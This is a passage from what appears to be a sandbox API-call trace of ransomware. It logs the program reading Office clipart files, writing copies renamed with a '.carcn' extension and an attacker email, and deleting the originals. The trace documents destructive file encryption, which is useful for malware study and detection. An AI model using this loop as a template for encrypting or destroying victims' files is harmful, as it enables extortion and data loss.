[0298.923] SetEndOfFile (hFile=0x388) returned 1 [0298.924] CloseHandle (hObject=0x388) returned 1 [0298.924] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0298.924] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00441_.wmf")) returned 1 [0298.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 68 [0298.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 68 [0298.925] lstrlenW (lpString=".doc") returned 4 [0298.925] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0298.925] lstrlenW (lpString=".docx") returned 5 [0298.925] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0298.925] lstrlenW (lpString=".pdf") returned 4 [0298.925] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0298.925] lstrlenW (lpString=".xls") returned 4 [0298.925] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0298.925] lstrlenW (lpString=".xlsx") returned 5 [0298.925] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0298.925] lstrlenW (lpString=".ppt") returned 4 [0298.925] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0298.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 68 [0298.925] lstrlenW (lpString=".zip") returned 4 [0298.925] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0298.925] lstrlenW (lpString=".rar") returned 4 [0298.925] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0298.925] lstrlenW (lpString=".bz2") returned 4 [0298.925] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0298.925] lstrlenW (lpString=".7z") returned 3 [0298.926] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0298.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 68 [0298.926] lstrlenW (lpString=".dbf") returned 4 [0298.926] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0298.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 68 [0298.926] lstrlenW (lpString=".1cd") returned 4 [0298.926] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0298.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 68 [0298.926] lstrlenW (lpString=".jpg") returned 4 [0298.926] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0298.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 68 [0298.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 68 [0298.926] lstrlenW (lpString=".doc") returned 4 [0298.926] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0298.926] lstrlenW (lpString=".docx") returned 5 [0298.926] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0298.926] lstrlenW (lpString=".pdf") returned 4 [0298.926] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0298.926] lstrlenW (lpString=".xls") returned 4 [0298.926] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0298.926] lstrlenW (lpString=".xlsx") returned 5 [0298.926] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0298.926] lstrlenW (lpString=".ppt") returned 4 [0298.926] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0298.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 68 [0298.926] lstrlenW (lpString=".zip") returned 4 [0298.926] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0298.926] lstrlenW (lpString=".rar") returned 4 [0298.927] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0298.927] lstrlenW (lpString=".bz2") returned 4 [0298.927] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0298.927] lstrlenW (lpString=".7z") returned 3 [0298.927] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0298.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 68 [0298.927] lstrlenW (lpString=".dbf") returned 4 [0298.927] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0298.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 68 [0298.927] lstrlenW (lpString=".1cd") returned 4 [0298.927] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0298.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 68 [0298.927] lstrlenW (lpString=".jpg") returned 4 [0298.927] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0298.927] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0298.927] lstrlenW (lpString="BS00442_.WMF") returned 12 [0298.927] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00442_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0298.928] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2ebff14 | out: lpFileSize=0x2ebff14*=2488) returned 1 [0298.928] CloseHandle (hObject=0x388) returned 1 [0298.928] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00442_.wmf")) returned 0x220 [0298.928] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00442_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0298.928] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00442_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0298.928] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0298.928] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0298.928] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00442_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0299.433] GetLastError () returned 0x0 [0299.433] ReadFile (in: hFile=0x388, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x9b8, lpOverlapped=0x0) returned 1 [0299.434] WriteFile (in: hFile=0x368, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0x9c0, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0x9c0, lpOverlapped=0x0) returned 1 [0299.610] ReadFile (in: hFile=0x388, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x0, lpOverlapped=0x0) returned 1 [0299.610] WriteFile (in: hFile=0x368, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xec, lpOverlapped=0x0) returned 1 [0299.610] SetEndOfFile (hFile=0x368) returned 1 [0299.610] CloseHandle (hObject=0x368) returned 1 [0299.610] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0299.610] SetEndOfFile (hFile=0x388) returned 1 [0299.611] CloseHandle (hObject=0x388) returned 1 [0299.611] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0299.612] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00442_.wmf")) returned 1 [0299.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 68 [0299.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 68 [0299.612] lstrlenW (lpString=".doc") returned 4 [0299.612] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0299.612] lstrlenW (lpString=".docx") returned 5 [0299.612] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0299.612] lstrlenW (lpString=".pdf") returned 4 [0299.613] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0299.613] lstrlenW (lpString=".xls") returned 4 [0299.613] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0299.613] lstrlenW (lpString=".xlsx") returned 5 [0299.613] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0299.613] lstrlenW (lpString=".ppt") returned 4 [0299.613] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0299.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 68 [0299.613] lstrlenW (lpString=".zip") returned 4 [0299.613] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0299.613] lstrlenW (lpString=".rar") returned 4 [0299.613] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0299.613] lstrlenW (lpString=".bz2") returned 4 [0299.613] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0299.613] lstrlenW (lpString=".7z") returned 3 [0299.613] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0299.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 68 [0299.613] lstrlenW (lpString=".dbf") returned 4 [0299.613] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0299.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 68 [0299.613] lstrlenW (lpString=".1cd") returned 4 [0299.613] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0299.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 68 [0299.613] lstrlenW (lpString=".jpg") returned 4 [0299.613] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0299.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 68 [0299.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 68 [0299.614] lstrlenW (lpString=".doc") returned 4 [0299.614] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0299.614] lstrlenW (lpString=".docx") returned 5 [0299.614] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0299.614] lstrlenW (lpString=".pdf") returned 4 [0299.614] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0299.614] lstrlenW (lpString=".xls") returned 4 [0299.614] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0299.614] lstrlenW (lpString=".xlsx") returned 5 [0299.614] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0299.614] lstrlenW (lpString=".ppt") returned 4 [0299.614] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0299.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 68 [0299.614] lstrlenW (lpString=".zip") returned 4 [0299.614] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0299.614] lstrlenW (lpString=".rar") returned 4 [0299.614] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0299.614] lstrlenW (lpString=".bz2") returned 4 [0299.614] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0299.614] lstrlenW (lpString=".7z") returned 3 [0299.614] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0299.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 68 [0299.614] lstrlenW (lpString=".dbf") returned 4 [0299.614] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0299.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 68 [0299.614] lstrlenW (lpString=".1cd") returned 4 [0299.614] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0299.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 68 [0299.615] lstrlenW (lpString=".jpg") returned 4 [0299.615] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0299.615] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0299.615] lstrlenW (lpString="DD00261_.WMF") returned 12 [0299.615] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00261_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0299.615] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2ebff14 | out: lpFileSize=0x2ebff14*=37974) returned 1 [0299.615] CloseHandle (hObject=0x388) returned 1 [0299.615] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00261_.wmf")) returned 0x220 [0299.615] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00261_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0299.616] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00261_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0299.616] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0299.616] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0299.616] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00261_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0299.617] GetLastError () returned 0x0 [0299.617] ReadFile (in: hFile=0x388, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x9456, lpOverlapped=0x0) returned 1 [0299.619] WriteFile (in: hFile=0x368, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0x9460, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0x9460, lpOverlapped=0x0) returned 1 [0299.620] ReadFile (in: hFile=0x388, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x0, lpOverlapped=0x0) returned 1 [0299.620] WriteFile (in: hFile=0x368, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xec, lpOverlapped=0x0) returned 1 [0299.620] SetEndOfFile (hFile=0x368) returned 1 [0299.621] CloseHandle (hObject=0x368) returned 1 [0299.621] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0299.621] SetEndOfFile (hFile=0x388) returned 1 [0299.622] CloseHandle (hObject=0x388) returned 1 [0299.622] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0299.622] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00261_.wmf")) returned 1 [0299.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68 [0299.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68 [0299.623] lstrlenW (lpString=".doc") returned 4 [0299.623] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0299.623] lstrlenW (lpString=".docx") returned 5 [0299.623] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0299.623] lstrlenW (lpString=".pdf") returned 4 [0299.623] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0299.623] lstrlenW (lpString=".xls") returned 4 [0299.623] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0299.623] lstrlenW (lpString=".xlsx") returned 5 [0299.623] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0299.623] lstrlenW (lpString=".ppt") returned 4 [0299.623] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0299.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68 [0299.623] lstrlenW (lpString=".zip") returned 4 [0299.623] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0299.623] lstrlenW (lpString=".rar") returned 4 [0299.624] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0299.624] lstrlenW (lpString=".bz2") returned 4 [0299.624] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0299.624] lstrlenW (lpString=".7z") returned 3 [0299.624] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0299.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68 [0299.624] lstrlenW (lpString=".dbf") returned 4 [0299.624] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0299.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68 [0299.624] lstrlenW (lpString=".1cd") returned 4 [0299.624] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0299.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68 [0299.624] lstrlenW (lpString=".jpg") returned 4 [0299.624] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0299.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68 [0299.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68 [0299.624] lstrlenW (lpString=".doc") returned 4 [0299.624] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0299.624] lstrlenW (lpString=".docx") returned 5 [0299.624] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0299.624] lstrlenW (lpString=".pdf") returned 4 [0299.624] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0299.624] lstrlenW (lpString=".xls") returned 4 [0299.624] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0299.624] lstrlenW (lpString=".xlsx") returned 5 [0299.624] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0299.624] lstrlenW (lpString=".ppt") returned 4 [0299.624] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0299.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68 [0299.625] lstrlenW (lpString=".zip") returned 4 [0299.625] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0299.625] lstrlenW (lpString=".rar") returned 4 [0299.625] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0299.625] lstrlenW (lpString=".bz2") returned 4 [0299.625] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0299.625] lstrlenW (lpString=".7z") returned 3 [0299.625] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0299.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68 [0299.625] lstrlenW (lpString=".dbf") returned 4 [0299.625] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0299.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68 [0299.625] lstrlenW (lpString=".1cd") returned 4 [0299.625] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0299.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68 [0299.625] lstrlenW (lpString=".jpg") returned 4 [0299.625] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0299.625] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0299.625] lstrlenW (lpString="DD00297_.WMF") returned 12 [0299.625] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00297_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0299.626] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2ebff14 | out: lpFileSize=0x2ebff14*=40030) returned 1 [0299.626] CloseHandle (hObject=0x388) returned 1 [0299.626] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00297_.wmf")) returned 0x220 [0299.626] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00297_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0299.626] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00297_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0299.626] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0299.626] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0299.627] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00297_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0299.627] GetLastError () returned 0x0 [0299.627] ReadFile (in: hFile=0x388, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x9c5e, lpOverlapped=0x0) returned 1 [0299.629] WriteFile (in: hFile=0x368, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0x9c60, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0x9c60, lpOverlapped=0x0) returned 1 [0299.630] ReadFile (in: hFile=0x388, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x0, lpOverlapped=0x0) returned 1 [0299.631] WriteFile (in: hFile=0x368, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xec, lpOverlapped=0x0) returned 1 [0299.631] SetEndOfFile (hFile=0x368) returned 1 [0299.631] CloseHandle (hObject=0x368) returned 1 [0299.631] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0299.631] SetEndOfFile (hFile=0x388) returned 1 [0299.633] CloseHandle (hObject=0x388) returned 1 [0299.633] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0299.633] DeleteFileW (lpFileName="C:\\Program 